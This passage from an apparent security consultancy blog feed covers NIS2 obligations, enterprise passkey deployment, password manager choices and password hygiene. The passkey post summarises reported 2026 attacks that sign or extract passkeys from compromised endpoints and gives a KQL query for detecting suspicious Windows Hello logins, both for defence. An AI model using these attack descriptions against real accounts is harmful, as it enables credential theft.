Registration with the BSI is done via the online portal. It must be completed no later than three months after determining that the organization is affected.

Step 7: Establish a continuous improvement process

NIS2 views cybersecurity as an ongoing task. Regular audits, penetration tests, training, and management reviews ensure that the security level is maintained and improved over time.

Consequences of Non-Compliance

Fines

Critical facilities: up to 10 million EUR or 2% of global annual turnover (whichever is higher)
Important entities: up to €7 million or 1.4% of global annual turnover

Even inadequate documentation of security measures can trigger a fine, even if no security incident has yet occurred.

Regulatory Measures

Regulatory authorities are granted extensive oversight powers: unannounced inspections (for critical entities), ordering of security measures, audit reports by external auditors, prohibition of activities in extreme cases, and public disclosure of violations.

Personal Liability of Management

Executives may be held personally liable if cybersecurity is not actively monitored and documented. In extreme cases, a temporary ban on holding a management position is possible.

Civil Liability

Injured third parties may claim damages if a breach of NIS2 obligations is proven. In addition to legal consequences, there is significant reputational damage, operational downtime, and data loss - the financial consequences of an inadequately handled incident generally far exceed the costs of proper implementation.

NIS2 and BSI IT-Grundschutz - how do they relate to each other?

NIS2 does not prescribe how the ten measures under Article 21 are to be implemented in practice. Recognized security standards such as ISO 27001 and BSI IT-Grundschutz are accepted as suitable frameworks.

ISO 27001: A well-implemented ISMS according to ISO 27001 already covers most NIS2 requirements. Gaps typically arise in NIS2-specific reporting processes, supply chain security, and the explicit MFA requirement. A gap analysis identifies the additional need for adaptation.

BSI IT-Grundschutz: Directly compatible with NIS2 - companies that have implemented IT-Grundschutz are largely NIS2-ready. Additions are also required for reporting processes, supply chain security, and management liability.

Former KRITIS operators (IT-SiG 2.0): Already largely compliant. NIS2 adds: supply chain security, MFA requirement, personal management liability.

No prior certification: ISO 27001 is the internationally recognized starting point for NIS2 compliance. Those without an ISMS should start early, as establishing fundamental structures takes time.

How AWARE7 supports NIS2

AWARE7 guides companies every step of the way toward NIS2 compliance:

NIS2 Gap Analysis: In a structured workshop, we analyze your current status against all ten Article 21 requirements and create a prioritized action plan with realistic implementation deadlines. You can see at a glance what has already been met and where urgent action is needed.

ISMS Implementation and ISO 27001 Support: We guide you through the implementation of your information security management system - from the initial risk analysis to certification readiness. An ISO 27001-compliant ISMS is the most efficient path to NIS2 compliance.

Technical Implementation: From network segmentation and MFA implementation to SIEM deployment, we support the technical measures required under Article 21 with practical experience gained from hundreds of client projects.

NIS2 Training for Executives: NIS2 mandates verifiable training for management (§ 38 BSIG). Our compact one-day seminar covers all legal requirements and protects against personal liability.

Incident Response Preparation: We create incident response plans, define reporting processes for the 24-hour early warning to the BSI, and simulate emergency scenarios through tabletop exercises.

Learn more about our services: NIS2 Consulting and Gap Analysis and ISMS and ISO 27001 Consulting.

Frequently Asked Questions about NIS2 (FAQ)

Does NIS2 apply to my company even if we have fewer than 50 employees? In general, companies with fewer than 50 employees and less than EUR 10 million in revenue are exempt from NIS2. Exceptions apply to qualified trust service providers, TLD registrars, DNS operators, and companies that are considered the sole provider of an essential service in an EU member state. Additionally, your company may be indirectly affected if your customers are subject to NIS2 and impose security requirements on their supply chain.

What happens if I miss the 24-hour deadline for the early warning? Failing to meet the 24-hour reporting obligation constitutes a separate breach of duty and may result in a fine - regardless of how serious the actual incident was. It is therefore advisable to set up the reporting process and all contact details (BSI reporting portal account, CISO, deputy) in advance and have reporting templates ready.

Is ISO 27001 certification sufficient for NIS2 compliance? An ISO 27001-certified ISMS covers the majority of NIS2 requirements. Additionally, NIS2-specific obligations must be addressed: the reporting processes to the BSI (24h/72h/30 days), explicit supply chain security evidence for suppliers, and the MFA requirement under Art. 21 j. A gap analysis will reveal the specific additional effort required.

Do we need to register with the BSI? Yes. Both essential and important facilities must register with the BSI no later than three months after determining that they are affected. Registration is done via bsi.bund.de.

What is the difference between essential and important facilities in practice? Essential facilities are subject to proactive supervision - the BSI can conduct inspections without cause and order audits. Important entities are subject to reactive supervision, i.e., only in cases of concrete suspicion or following a report. The ranges of fines also differ: up to 10 million EUR (or 2% of turnover) for essential entities, up to 7 million EUR (or 1.4% of turnover) for important entities.

Does NIS2 apply if we don’t operate anything “critical” ourselves, but supply critical companies? NIS2 requires companies to assess the security of their own supply chain and impose contractual requirements on their suppliers. If, as a supplier, you have access to production systems or sensitive data of a company subject to NIS2, your customers will require security evidence (e.g., ISO 27001 certification, security questionnaires, audit rights) from you - even if your own company is not directly subject to NIS2.

Unsure whether and how NIS2 affects you? In a structured NIS2 gap analysis, we assess your current status against all requirements and work with you to develop a prioritized action plan.

Request NIS2 Consulting | ISMS and ISO 27001 Consulting

Implementing Passkeys in the Enterprise: A Practical Guide

kontakt@a7.de (Jan Hörnemann) — Wed, 04 Mar 2026 00:00:00 GMT

Passkeys are phishing-resistant and cannot be stolen from a server database. With Apple, Google and Microsoft now providing the infrastructure in their ecosystems, enterprise deployment is a realistic prospect. New research from August 2026 shifts what matters in a rollout: not the choice of passkey type, but endpoint security.

What are passkeys and how do they work?

A passkey is a cryptographic key pair instead of a password. During registration, the device generates a private and a public key. The private key remains stored locally, whilst the public key is held by the service. Each signature is bound to the exact domain of the service, which renders any fake login page inherently ineffective.

A server attack therefore only captures public keys, which are worthless on their own. Even credential stuffing comes to nothing, as there is no reusable secret.

With device-bound passkeys, the private key remains on the hardware, for example in the TPM or on a FIDO2 token. With synchronised passkeys, it is stored in encrypted form in the provider’s cloud wallet and is available on other devices.

Feature	Device-bound	Synchronised
Storage location	TPM or FIDO2 token	Provider’s cloud wallet
Recovery	Re-registration required	Synchronisation via the account
Phishing protection	Intact	Intact
Vulnerable following endpoint compromise	Yes	Yes

Earlier versions of this post recommended synchronised passkeys for widespread roll-out and device-bound passkeys only for privileged accounts. This distinction is no longer valid.

Switching between synchronised and device-bound passkeys does not eliminate the attack surface. Both variants are vulnerable as soon as malware is running in the user’s context.

Why are traditional MFA methods insufficient?

SMS codes and time-based one-time passwords have a structural weakness: they are transferable secrets. A fake login page can relay the entered code to the genuine service in real time before it expires, compromising the account whilst the user believes they are on the correct page.

Push-based MFA has another vulnerability. Push requests have no cryptographic link to the specific login session. The authorisation applies to the attacker’s session, not to an authentic connection initiated by the user.

A passkey signature is bound to the exact domain of the service and valid for that session only. An attacker who intercepts or forwards the request holds a one-off, domain-bound token, not a reusable secret.

How secure are passkeys?

Passkeys are resistant to phishing; the cryptography behind them remains intact. However, three research papers from August 2026 show that both types of passkey are vulnerable as soon as malware is running on the endpoint.

On 3 August 2026, Unit 42 from Palo Alto Networks described the Pass-ta-key attack family targeting the Google Password Manager in Chrome. Malware without elevated privileges signs a WebAuthn assertion via the Windows CNG interface without a PIN or biometric prompt appearing. The ‘Golden’ variant of Pass-ta-key reads the Security Domain Secret from the Chrome process memory, uses it to decrypt all synchronised passkeys and exports them in a transferable format.

A further variant from Unit 42: ‘Silver’ Pass-ta-key spoofs a biometric unlock against the Cloud Authenticator without using the victim’s device during the login session. The attacker logs in from their own environment; the victim’s device does not need to be online. Unlike the basic variant, access gained this way is reusable; elevated privileges are not required here either.

On 5 August 2026, Dirk-jan Mollema demonstrated that a Windows Hello for Business key can be used from within a logged-in session. The call via Ncrypt.dll and the Passport Key Storage Provider requires neither a PIN nor biometrics, but instead relies on cached data. The login is successful even in an incognito window without SSO support, and without a device enrolled in Entra ID. From a compromised session, a device can thus be registered and a Primary Refresh Token requested.

On the same day at Black Hat USA, SpecterOps presented the Pass-the-Passkey chain. Windows stored FIDO2 signatures in plain text, where authenticated unprivileged users could read them, even remotely. It is not the private key itself that is extracted, but a signature that has already been generated.

CVE-2026-34348 affects the Windows Event Logging Service and is classified as an information disclosure vulnerability with a CVSS Base score of 6.5. An update is available and must be applied immediately to all Windows clients and servers.

Three Recommended Actions

Apply the CVE-2026-34348 update to all Windows systems. This affects environments with Windows Hello for Business as well as those with FIDO2 hardware keys.
Monitor logins via Windows Hello for Business without a registered device ID. The following query in Entra ID corresponds to the pattern demonstrated by Mollema.
Set userVerification = required in custom web applications and validate the UV flag server-side. Setting the parameter alone is not sufficient: eBay had set it but remained vulnerable because the response was not validated.

SigninLogs
| where AuthenticationDetails has ‘"authenticationMethod":"Windows Hello for Business"’
| where DeviceDetail.deviceId == ""

Deadlines in Microsoft Entra ID

Date	What happens
1 September 2026	Users with SMS or voice MFA will be automatically enabled for passkeys and prompted to register when logging in
1 February 2027	Microsoft will discontinue its own SMS and voice delivery services. Anyone who still requires these methods can integrate their own telecoms provider via the Microsoft Security Store

For organisations whose users have only SMS or voice authentication methods configured after 1 February 2027, passkey registration will be blocked at login. Microsoft does not provide an opt-out option.

Setting Up Passkeys

Setting up passkeys with Microsoft

Activation takes place in Entra ID under Security > Authentication Methods > Microsoft Authenticator using the Passkey (FIDO2) function. Self-registration is enabled in the same dialogue box. For privileged accounts, a FIDO2 token is also recommended.

A Temporary Access Pass with limited validity is suitable for initial access. Users log in with it once and then register their own passkey.

New-MgUserAuthenticationTemporaryAccessPassMethod `
  -UserId "user@company.com" `
  -LifetimeInMinutes 60 `
  -IsUsableOnce $true

A Conditional Access policy using the Authentication Strength setting for phishing-resistant methods excludes SMS codes and time-based one-time passwords. Windows Hello for Business covers the native registration process on Windows devices and works with a PIN or biometrics.

Setting up passkeys with Google

Activation takes place in the Google Admin Console under ‘Security’, ‘Authentication’, ‘Passwordless sign-in’. The option for passwordless sign-in via passkey can be enabled there. The enforce-passkeys toggle should only be set once the roll-out has been fully completed across the organisation.

Users set up their passkeys via myaccount.google.com under ‘Security’. On Android devices, the Google Password Manager handles this task. For signing in via a Windows PC without a stored passkey, Windows Hello or a FIDO2 hardware token is available.

For cross-device sign-ins, the browser displays a QR code; the smartphone scans it and performs a Bluetooth proximity check, then unlocks the passkey for the sign-in session on the PC. This is called cross-device authentication and requires no shared account between the devices.

Passkeys on Apple devices

With iCloud Keychain enabled, passkeys are available on all Apple devices linked to the same account; they are managed via the Passwords app. A new device is authorised via an already set-up device or the old device code, after which the Keychain updates automatically.

For businesses, this is the boundary case: the Keychain is linked to employees’ personal accounts, not to the organisation. Where employees bring personal Apple devices, the passkey therefore falls outside the organisation’s control. For privileged accounts, a FIDO2 token is therefore the more robust choice.

What are the disadvantages of passkeys?

Passkeys have three practical limitations: device loss requires re-registration, as the private key is non-transferable; applications without WebAuthn support are integrated via single sign-on (SSO) using SAML or OpenID Connect; and staff without a biometric device need a hardware token or PIN.

If a device is lost, a second registered method can help. A sensible approach is to combine a smartphone with a hardware token, supplemented by an administrative reset procedure.

The identity provider handles the passkey sign-in; the legacy application receives its token via SAML or OpenID Connect.

Employees without a biometric device use a hardware token or a PIN via Windows Hello. On personal devices, a passkey remains the stronger choice compared to a password with a time-based one-time password.

Assessment

Passkeys remain the most resilient defence against phishing, and the underlying cryptography is uncompromised. What has shifted is the endpoint’s role: losing control of the client means losing phishing-resistant authentication. In the risk analysis of an information security management system, endpoint compromise should be treated as a separate scenario, independent of which passkey type is deployed. Security awareness training ensures employees support the transition.

Password Manager Comparison 2026: KeePass, Bitwarden, 1Password & More

kontakt@a7.de (Chris Wojzechowski) — Wed, 04 Mar 2026 00:00:00 GMT

Anyone who wants to use a unique, strong password for every online account - as all security experts recommend - needs some help. The average user manages over 90 online accounts. No one can remember 90 different, cryptic passwords. The solution is a password manager.

This comparison explains why a password manager is necessary, what criteria are crucial when choosing one, and how the most popular options stack up - from KeePassXC to Bitwarden and 1Password, all the way to mobile solutions and hardware alternatives.

For background on secure passwords and passphrases, we recommend our Password Security Guide.

Why a password manager is indispensable

The real problem: password overload

Many users respond to this overload with insecure shortcuts: Passwords are reused, chosen to be too weak, or jotted down on a piece of paper. The result is well-known - 68 percent of all data breaches result from stolen or weak login credentials (Verizon Data Breach Investigations Report 2024).

A password manager completely solves this problem:

It automatically generates strong, unique passwords for every service
It stores passwords in an encrypted vault
It fills in passwords automatically - no manual typing required
It alerts you to known data breaches if a stored password has been compromised

You only need to remember a single strong master password. All others are securely managed.

Browser password features are no substitute

Browsers like Firefox and Chrome offer built-in password features. These are convenient, but they are not a full-fledged replacement for a dedicated password manager. Browsers are primarily designed for browsing - not for securely managing sensitive login credentials.

CVE-2019-11733 provides a concrete example of the risks: A known security vulnerability in the Firefox browser directly affected password management. Even Apple has purchased 123,000 licenses of the third-party tool 1Password for its own workforce, rather than relying exclusively on the iCloud Keychain. The iCloud Keychain is better than nothing - but a full-fledged password manager is better.

Selection Criteria: What Matters in a Password Manager

Encryption

A reputable password manager encrypts the password database with strong end-to-end encryption. Even if someone were to gain access to the database, the stored passwords would be unreadable without the master password. Only the user knows the master password.

Open Source vs. Proprietary

Open-source password managers like KeePass and Bitwarden allow the source code to be publicly reviewed. This builds trust - independent security researchers can find and report vulnerabilities. Proprietary products like 1Password do not offer this transparency advantage, but often impress with their user-friendliness and support.

Offline vs. Cloud Synchronization

Offline managers (KeePassXC): The database is stored locally on the device. Maximum data control, no cloud risk - but manual synchronization between devices is required.
Cloud managers (Bitwarden, 1Password): Automatic synchronization across all devices. More convenient, but the data is stored (encrypted) in the provider’s cloud.

Two-factor authentication (2FA)

Many password managers offer 2FA for accessing the manager itself. This makes sense: even if the master password is stolen, access is impossible without the second factor.

Platform Support

Cross-platform support is crucial for users of multiple devices and operating systems. KeePassXC supports Mac, Linux, and Windows. Mobile clients for iOS and Android are available separately.

Password Managers Compared

Manager	Type	Price	Platforms	Features
KeePassXC	Open source, local	Free	Windows, macOS, Linux	Full data control, no cloud
Bitwarden	Open source, cloud	Free / Premium starting at ~10 EUR/year	All + browser	Self-hosting possible, GDPR-compliant
1Password	Proprietary, cloud	Starting at ~3 EUR/month	All + browser	Stiftung Warentest test winner, user-friendly
Steganos PM	Proprietary	Regular ~9.95 EUR (Version 17)	Windows + iOS/Android	German software, AES-256-bit
KeePass (Original)	Open source, local	Free	Primarily Windows	Basis for many derivatives

KeePassXC: The free open-source manager for all platforms

KeePassXC was created as a cross-platform alternative to KeePass, which was primarily developed for Windows. For Mac users, a free, easy-to-use solution was long lacking - KeePassXC solves this problem with native support for macOS, Linux, and Windows.

The software is open source, meaning it’s free and transparent. Anyone who works across multiple systems and carries their password vault with them on a USB drive, for example, will appreciate its cross-platform capability: Only the software is required, not a specific operating system.

Switching KeePass to German

KeePass and KeePassXC are in English by default. However, KeePass can easily be switched to German: Download the appropriate language file (Version 2 for current KeePass 2 installations) from keepass.info, unzip it, and place it in the folder Program Files (x86) > KeePass Password Safe 2 > Languages. Then select German under "View > Change Language" and restart KeePass. The entire process requires no administrator privileges and takes less than two minutes.

Stiftung Warentest: KeePass Named Top Performer Among Free Password Managers

Stiftung Warentest evaluated password managers in early 2020: Of the 14 products tested, only three were impressive. KeePass was named the top performer among free products. In later tests, Stiftung Warentest also named 1Password and Bitwarden as top performers.

Mobile Solutions: Password Managers on iOS and Android

KeePass Touch for iOS

After MiniKeePass was discontinued in mid-2020, this app left a gap on iOS. KeePass Touch fills that gap and allows users to fully view and edit KeePass databases on Apple devices.

Synchronization works via Dropbox, FTP servers, or local Wi-Fi - with no requirement to use the cloud. For €1.09, an in-app purchase removes ads and enables the autofill feature. Important: KeePass Touch is not open source, which distinguishes it from the certified clients listed on keepass.info.

Browser Integration

If you want to use KeePass with browser autofill, you’ll need browser add-ons. Official browser extensions for Chrome, Firefox, and other browsers are available for Bitwarden and 1Password - integration is seamless.

Hardware Alternative: The NFC Password Card

An unusual alternative to traditional password managers is the NFC password card. This is a physical card - similar to a credit card - on which passwords are stored. Access is via an app (available for free on iOS and Android); after entering the master password, the passwords on the card can be read.

The NFC password card can broadly be classified as an offline solution: Passwords are not stored in the cloud, but only on the physical card. The biggest difference from traditional software password managers: The card is a physical object.

Advantages:

No cloud dependency
No device required other than a smartphone for reading
Physically visible - loss is noticed immediately

Disadvantages:

Physical object can be lost or damaged
No automatic synchronization
Manual maintenance required

The NFC password card is an interesting addition for specific use cases - for most users, a software password manager offers more convenience with comparable security.

Setting up a password manager: Step by step

The most common reason for not using a password manager isn’t mistrust - it’s inertia. Setting it up seems like a hassle. In reality, the initial setup takes less than 15 minutes for most products.

Step 1: Choose and install a password manager

Decide on a manager - for starters, we recommend Bitwarden (free, open source) or KeePassXC (free, local). Install the desktop app and the browser extension.

Step 2: Set a master password

The master password is the only one you still need to remember. Use the passphrase method here: four random, unrelated words, supplemented with special characters and numbers. Write this password down once on paper and keep it in a safe place - in a locked cabinet, not on your screen.

Step 3: Import existing passwords

Most password managers allow you to import passwords from browsers (Chrome, Firefox) or from other managers as a CSV file. This saves a significant amount of time compared to entering them manually.

Step 4: Identify weak and reused passwords

Bitwarden, 1Password, and most cloud managers offer a security report: It shows at a glance which stored passwords are weak, which are reused, and which have been found in known data breaches. Start with the most critical accounts - email, banking, and corporate logins.

Step 5: Generate new strong passwords

The next time you log in to a website, open the password manager, generate a new strong password, and save it directly in the manager. By default, the password generator creates passwords with 20 or more characters consisting of letters, numbers, and special characters - which you’ll never have to memorize.

Step 6: Set up the mobile app

Install the mobile app on your smartphone. With cloud-based managers, the database syncs automatically. With KeePassXC, set up synchronization using your preferred method (Nextcloud, Dropbox, FTP). From now on, you’ll have access to all your passwords on all your devices.

Common Concerns About Password Managers - and the Facts

"What if the provider gets hacked?"

This is the most common concern. The answer lies in the encryption architecture: A reputable password manager encrypts your data locally with your master password before it leaves your computer. The provider does not know your master password - so even if the server is compromised, they cannot decrypt your passwords.

This architecture is called zero-knowledge: The service provider has “zero knowledge” of your actual passwords. If the provider’s server is hacked, an attacker will only see encrypted data packets that are useless to them.

For absolute security: KeePassXC stores the database exclusively locally. The provider is then your own computer - a server breach at the software developer’s site will not affect any password data.

“I might forget my master password”

That is a valid concern. The solution: Carefully write down your master password once on paper and store it securely - just like an important document. Cloud-based managers also offer recovery options that should be configured before initial setup.

A four-word passphrase is much easier to remember than a 12-character cryptic string. This is the key advantage over using a randomly generated password as the master password.

"Password managers are too complicated"

Setup takes less than 15 minutes. Day-to-day use is easier than manually typing in passwords: the manager automatically fills in passwords as soon as you visit a familiar website. With biometric unlocking (fingerprint, Face ID) on your smartphone, access is even faster than typing in any password.

Password Manager Security: What Can Really Go Wrong

An important issue is the security of the password manager itself. Modern password managers are fundamentally secure - but implementation errors can cause problems.

A concrete example: Kaspersky’s password manager generated weak passwords on Windows, Android, and iOS because the software used the current system time in seconds as a random seed. All users who created a password at the same time received identical suggestions. The entire possible password space from 2010 to 2021 comprises only about 315 million combinations - which modern computers can brute-force in minutes. Kaspersky fixed the vulnerability in late 2019 but did not prompt affected users to change their passwords until October 2020.

The lesson here: Even when it comes to password managers, you should choose reputable products that are regularly audited by independent third parties. Open-source products like KeePassXC and Bitwarden benefit from public code reviews. For proprietary products, you should look for security audits conducted by independent third parties.

Recommendations for Businesses

Businesses face the challenge of providing password managers for all employees and managing them centrally. Without a password manager, good password hygiene is nearly impossible for individuals - let alone in a corporate context.

Enterprise Options at a Glance

Solution	Advantages	Cost
1Password Teams	Simple, macOS/Windows/Mobile, Admin Console	approx. 4 EUR/user/month
Bitwarden Teams	Open source, GDPR-compliant, more affordable	approx. 2 EUR/user/month
Keeper	Enterprise features, SSO integration	approx. 3 EUR/user/month
LastPass Teams	Widely used - note the 2022 breach	approx. 4 EUR/user/month

For SMEs on a tight budget: Bitwarden Community Edition (self-hosted) is free and can be used in compliance with the GDPR.

In addition to a password manager, clear password policies are recommended - details on modern corporate policies according to NIST and BSI can be found in the article Secure Password Policies for Businesses.

Our Password Security Guide provides further background on secure passwords, passphrases, and how to handle data breaches.

Our Recommendation

For personal users who want maximum control: KeePassXC - free, open source, local, cross-platform. Synchronization via your own cloud services (Nextcloud, Dropbox) is possible.

For private users who prioritize convenience: Bitwarden (open source, free basic version) or 1Password (best convenience, Stiftung Warentest test winner).

For iOS users who want to use the KeePass database on the go: KeePass Touch - not open source, but fully functional.

For businesses: Bitwarden Teams (approx. 2 EUR/user/month, GDPR-compliant, self-hosting possible) or 1Password Teams (approx. 4 EUR/user/month, highest level of convenience).

Not recommended as a standalone password solution: Browser-integrated password features - convenient, but not a full-fledged replacement for a dedicated password manager.

FAQ: Password Managers

Is it safe to store all passwords in one place?

Yes - provided the password manager itself is strongly secured. Modern password managers use strong end-to-end encryption. Even if the provider’s servers are compromised, the passwords remain unreadable without the user’s master password. The alternative scenario - having many weak, reused passwords in your head - is significantly riskier.

What happens if I forget my master password?

With locally stored databases (KeePassXC), there is no way to recover your data without the master password. For cloud-based managers, some providers offer recovery options - check this before setting up. A strong but memorable master password created using the passphrase method is the best safeguard.

Which password manager was tested by Stiftung Warentest?

Stiftung Warentest has tested password managers on multiple occasions. In one test, 1Password and Bitwarden were named the winners. In an earlier test of free products, KeePass received the highest rating.

Is KeePass the same as KeePassXC?

No. KeePass is the original program, developed primarily for Windows. KeePassXC is a standalone fork that runs natively on Windows, macOS, and Linux - without workarounds or the Mono framework. Both use the same database format (kdbx) and are compatible.

Can I use KeePassXC on multiple devices?

Yes - by sharing the database file via your own synchronization service (Nextcloud, Dropbox, FTP server). This is a bit more involved than with cloud-based password managers, but it gives you complete control over your data.

What about blackmail or attacks on password manager providers?

With well-implemented password managers, stored passwords remain secure even after a server attack because they are end-to-end encrypted. The provider does not know your master password. Local managers like KeePassXC don’t have this risk at all - the database is stored only on your device.

The first step is the hardest: Set up a password manager today. Everything that follows - unique passwords for every service, auto-fill, alerts for data breaches - will fall into place naturally.

For the full context on password security, passphrases, and passkeys, read our Password Security Guide.

Do you want to implement a password manager in your company while building security awareness among your employees? Contact us.

Password Security 2026: The Complete Guide to Secure Passwords

kontakt@a7.de (Chris Wojzechowski) — Sun, 01 Mar 2026 00:00:00 GMT

Passwords are the weakest link in the security chain - and yet they remain the most widely used authentication method. The 2024 Verizon Data Breach Investigations Report is clear: 68 percent of all data breaches result from stolen or weak credentials, and 86 percent of all web-based attacks are credential-based.

This guide explains why passwords fail so often, how to create and manage secure passwords today - and why passkeys are already here as the next step.

Why Most Passwords Are Insecure

The Reuse Problem

51 percent of people use the same password for multiple services. The Hasso Plattner Institute analyzed one billion user accounts from 31 published data breaches: 20 percent used the exact same password across multiple platforms, and 27 percent used slight variations of the same passphrase.

The result is devastating: as soon as a single service is hacked, the password is on the list. Attackers then carry out automated credential reuse attacks - a tool tests dozens of websites within seconds using the found email-password combination. If the attackers gain access to the email account, recovering the remaining accounts is no longer possible in most cases.

The Predictability Problem

The password "123456" was found 2,543,285 times in data breaches in 2020 alone - totaling 23,597,311 times across all years. The world’s most popular password will still rank among the top 5 in 2024.

Soccer club names are used as passwords surprisingly often. “schalke” and similar club names regularly appear on lists of the most commonly used passwords. Attackers are aware of these patterns and systematically test them.

The same applies to patterns created by forced password changes: When users are required to change their passwords regularly, predictable variations emerge. A study by the University of North Carolina analyzed 7,700 accounts and found that users who were regularly forced to change their passwords developed patterns such as tarheels#1 → tarheels#2. 17 percent of online accounts were cracked in fewer than five attempts. The situation is even worse for offline accounts: 41 percent were compromised in less than three seconds.

The German Federal Office for Information Security (BSI) has acted on this finding and now recommends no longer changing passwords routinely - only when there is concrete evidence of a breach.

The Brute-Force Problem

Modern hardware cracks short passwords alarmingly quickly. A standard laptop without a dedicated graphics card can process about 875 million hashes per second using the MD5 hash algorithm. A 6-character password can thus be cracked in seconds. A setup consisting of ten Nvidia GTX 1080 Ti cards, costing around 10,000 euros, achieves approximately 355 billion hashes per second for MD5.

The recommendation based on these figures: Passwords under 10 characters no longer offer sufficient protection with current hardware. The minimum recommendation is 12 characters - preferably 15 or more.

Important to note: MD5 is considered outdated and insecure. Modern systems use stronger hashing algorithms (bcrypt, Argon2, scrypt), which take significantly longer to compute and considerably slow down brute-force attacks. However, the length of the password remains the decisive factor.

What Secure Passwords Look Like

The Basic Rules

A secure password meets four criteria:

Minimum length: 12 characters, recommended 15 or more
Uniqueness: Do not use the same password for more than one service
No personal references: No names, no birthdays, no club names
Not included in data breaches: Check via haveibeenpwned.com

What is less crucial than often assumed: the forced inclusion of special characters, uppercase letters, and numbers in short passwords. An 8-character password with special characters is weaker than a 16-character password without them. Length trumps artificial complexity.

The apparent problem with secure passwords: memorability

Cryptic random passwords like X7$k2mQp9! are secure - but hard to remember. Tools like the Kryptonizer from passwort-ausdenken.de can help: A simple mnemonic like "Bolognese" is turned into a cryptic password like 5oW#7m%mm3D3 using a personal encryption card. The card is printed in duplicate - one for your wallet, one as a backup. This principle combines possession and knowledge.

Even more elegant is the passphrase method - more on that in a moment.

Passphrases: The More Secure and Easier-to-Remember Password

A passphrase consists of several words instead of a cryptic jumble of characters. The key advantage: Passphrases made up of four random, thematically unrelated words would take attackers centuries to guess - and are also easier to remember than short random passwords.

How to Create a Secure Passphrase

Choose words from completely different areas of life:

Your favorite dish, a vacation spot, or a hobby - for example: "Air Skydiving"
A current news story or event - for example: "Pandemic"
A word selected at random from a digital dictionary - for example: "reticulum"

This results in: "Air Skydiving Pandemic Reticulum"

Spaces are also characters in passwords. You can replace them with special characters to meet typical password requirements:

"Air-Skydiving_Pandemic_Reticulum"

With numbers that meet digit requirements:

"1Air-Skydiving_2Pandemic_3Reticulum"

The result is a very strong password. If you visualize it - someone doing air skydiving while thinking about the pandemic and an astronomical object called the Reticulum - it’s much easier to remember than a random jumble of characters.

What passphrases don’t protect

IT security experts advise against using song lyrics or well-known literary works like the Bible as inspiration. Attackers specifically target these sources. The selected words must come from thematically unrelated areas.

And most importantly: Even the strongest passphrase is only valid for a single service. Reusing it makes even the best phrase vulnerable.

Multi-factor authentication as an intermediate step

Multi-factor authentication (MFA) requires attackers to know both the password and a second factor - such as a TOTP code from an authenticator app or an SMS code. This makes a compromised factor alone worthless.

There are various MFA methods with different security levels:

FIDO2/Passkeys: Highest security, technically impossible to phish
TOTP apps (Microsoft/Google Authenticator): Good for most cases
SMS OTP: Better than nothing, but SIM swapping is a known attack scenario
Email OTP: Vulnerable if the email account itself is compromised

A critical point: TOTP and SMS can be bypassed via real-time phishing relays. An attacker operates a phishing site; the victim enters the TOTP code, and the attacker immediately forwards it to the real server - the 30-second window is more than sufficient.

Passkeys: The phishing-proof alternative

Passkeys are the implementation of the FIDO2 standard, which is natively supported on Apple, Google, and Microsoft platforms. The core principle differs fundamentally from passwords: no secret is ever transmitted.

During registration, the device generates a key pair. The private key remains on the device and never leaves it. The public key is sent to the server. During login, the device signs a server challenge with the private key - biometrics or a PIN unlock the private key locally. The server verifies the signature using the stored public key.

What is never transmitted: no password, no private key, no biometric data (Face ID remains on the iPhone or Android).

Phishing protection stems from origin binding: the private key is bound to a domain. On a phishing domain with a similar but different domain name, the origin is different - the signature fails, making login technically impossible.

According to the FIDO Alliance, over 13 billion passkey-enabled devices will be in use worldwide by 2024. Apple, Google, and Microsoft have supported passkeys natively since 2022/2023. Over 10,000 services - including Shopify, GitHub, and PayPal - already support passkeys. Google has not recorded a single account takeover via phishing since its internal FIDO2 rollout in 2017.

User Acceptance and Misconceptions

A study by Ruhr University Bochum, the Max Planck Institute for Security and Privacy, and the University of Chicago involving 414 participants found that around 70 percent of users mistakenly believe that their fingerprint is transmitted to the provider and stored there during passwordless login. In fact, the cryptographic key remains exclusively on the end device.

Another 60 percent of respondents assumed they would lose access to their account entirely if their fingerprint sensor malfunctioned - even though WebAuthn offers a PIN alternative. At the same time, 93 percent of respondents generally trust biometric protection.

The researchers’ conclusion: The most important message is that biometric data is not transmitted to the provider. Passkeys are more secure and faster than passwords - the user experience takes about 2 seconds instead of 12.5 seconds with a password plus TOTP.

What to do if your password has been stolen?

How attackers handle stolen passwords

In early 2019, one of the largest datasets of login credentials at the time was published: approximately 773 million email addresses and 21 million passwords. Attackers do not use such lists indiscriminately. They are specifically tailored to the victim.

A Schalke04 fan is highly unlikely to use “Dortmund123” as a password - such social engineering assumptions help attackers filter the password list and increase the likelihood of a match. Personal references like club names or family names on social media make the password vulnerable.

Blackmail emails that contain a real password and threaten to release webcam footage exploit exactly these data breaches. Criminals usually do not possess any video recordings - they obtain login credentials exclusively from old data breaches, some dating back over ten years. No one should give in to such blackmail.

Here’s how to check if your data has been compromised

Troy Hunt’s website haveibeenpwned.com allows you to check email addresses for known data breaches for free. We advise against running actively used passwords through the database. The Hasso Plattner Institute in Potsdam operates a German alternative: The HPI Identity Leak Checker only reveals information once you have verified yourself as the owner of the email address.

Immediate steps to take in the event of a data breach

Immediately change the affected password on all services where you have used it
Enable MFA on the affected account and on all other important accounts
Set up a password manager to use a unique password for each service in the future
Check whether your email account is still under your control - email access is the master key for password resets on all other services

Blackmail emails containing a real (but old) password indicate that this password originated from an old data breach. If you have already changed it, there is no immediate need for action beyond confirming the facts.

Common Password Mistakes - and How to Avoid Them

Mistake 1: Personal references in your password

Birthdays, pet names, favorite sports team names - all of these are easy for attackers to find on social media. A hacker looking to learn more about their target will first check LinkedIn, Facebook, and Instagram. Anyone using “schalke04” or “Bundesliga2024” as a password makes it especially easy for attackers: Such passwords are at the top of personalized word lists.

The Hasso Plattner Institute analyzed passwords from public data breaches: “123456” is the most frequently stolen password of all. Right behind it are keyboard patterns like “qwerty,” “qwertz,” and “asdfgh” - patterns that are the first to be tried in every attack list.

Mistake 2: Writing down passwords on sticky notes

Writing down passwords on a sticky note under the keyboard, behind the screen, or on a label next to the computer is a common practice - especially in office environments. The problem: Anyone with physical access to the workstation also has access to all saved accounts.

At home, the risk is lower, but not zero. In public areas - offices, coworking spaces, reception areas - passwords should never be written down in plain sight. A password manager eliminates the need for this practice, as passwords are stored securely and automatically filled in when needed.

Mistake 3: Using the Same Password for Email and Other Services

Your email account is the master key for all your other passwords. Forgotten passwords are reset via email. So if you use the same email-password combination across multiple services and the password falls into the wrong hands due to a data breach, in the worst-case scenario you lose control of all linked accounts - and can no longer regain access by resetting the password yourself.

Your email account password should always:

be unique (not used anywhere else)
be long (15 characters or more)
be secured with MFA

Mistake 4: Saving passwords in the browser

